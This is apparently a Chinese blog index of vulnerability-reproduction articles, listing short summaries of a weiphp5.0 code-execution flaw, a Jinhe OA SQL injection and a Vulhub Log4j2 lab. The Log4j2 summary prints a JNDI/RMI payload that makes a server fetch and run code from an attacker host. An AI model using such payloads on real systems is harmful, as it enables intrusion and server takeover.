漏洞复现
文章平均质量分 60
鹤-云
这个作者很懒,什么都没留下…
展开
-
漏洞复现-weiphp5.0 scan_callback代码执行漏洞
weiphp5.0 scan_callback 存在代码执行漏洞原创 2024-03-12 16:56:25 · 312 阅读 · 1 评论 -
漏洞复现-金和OA C6 GetHomeInfo SQL注入漏洞
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统升开发平台,电子政务一体化平台智慧电商平合等服务。金和OA C6 GetHomeInfo接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。原创 2024-01-25 19:32:42 · 329 阅读 · 0 评论 -
Vulhub靶场-Log4j2
当日志中包含 ${},lookup就会去解析括号里面的内容,如:攻击payload:${jndi:rmi:192.168.96.1:1099/wqiyua}当lookup解析到jndi时,就会调用jndi并利用rmi,执行攻击机jndi服务下的class文件并执行,从而造成任意命令执行漏洞原创 2024-01-24 19:40:45 · 1145 阅读 · 1 评论